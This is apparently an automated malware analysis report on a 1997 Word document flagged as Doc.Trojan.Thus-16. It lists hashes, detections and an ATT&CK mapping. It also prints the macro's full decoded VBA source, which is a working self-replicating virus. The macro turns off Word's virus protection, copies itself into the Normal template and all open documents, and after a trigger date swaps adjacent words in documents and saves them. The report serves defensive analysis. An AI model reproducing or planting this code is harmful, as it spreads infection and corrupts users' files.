Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d8e20e334a93da47…

MALICIOUS

Office (OLE)

37.5 KB Created: 1997-01-29 21:53:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 3ac9b53ef8600204eb9b18ab6a2f889f SHA-1: 73df88a642345958118dc50d5652471330680424 SHA-256: d8e20e334a93da4708583c8bbe25c9cbefddf9694fad3d34e685fd4a47c19058
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a Microsoft Word document with a high-confidence detection for VBA macros and a specific 'Document_Open' macro. The VBA code attempts to copy itself to the Normal template and any other open documents, indicating a self-replication or persistence mechanism. The ClamAV detection 'Doc.Trojan.Thus-16' further supports its malicious nature. No external network indicators or specific payload delivery mechanisms were observed in the provided evidence.

Heuristics 3

  • ClamAV: Doc.Trojan.Thus-16 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-16
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2057 bytes
SHA-256: 01dad8e1dea7200c1eaa0b200c316b0ccef0e2ba2cd53b3b8b6d261fa93cff90
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Replacer'
On Error Resume Next
Application.Options.VirusProtection = False
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Replacer'" Or _
   NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines _
    1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.InsertLines 1, _
    ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, _
      ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
  NormalTemplate.Save
End If
For i = 1 To Application.Documents.Count
  If Application.Documents.Item(i).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Replacer'" Or _
     Application.Documents.Item(i).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    Application.Documents.Item(i).VBProject.VBComponents.Item(1).CodeModule.DeleteLines _
      1, Application.Documents.Item(i).VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    Application.Documents.Item(i).VBProject.VBComponents.Item(1).CodeModule.InsertLines 1, _
      NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, _
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
  End If
Next i
End Sub
Private Sub Document_Close()
Document_Open
On Error Resume Next
If Date > "13.9.2000" And Hour(Now()) = 13 Then
  With ActiveDocument.Words
    For i = 1 To .Count Step 2
      wd = .Item(i)
      .Item(i) = .Item(i + 1)
      .Item(i + 1) = wd
    Next i
  End With
  ActiveDocument.Save
End If
End Sub
Private Sub Document_New()
Document_Open
End Sub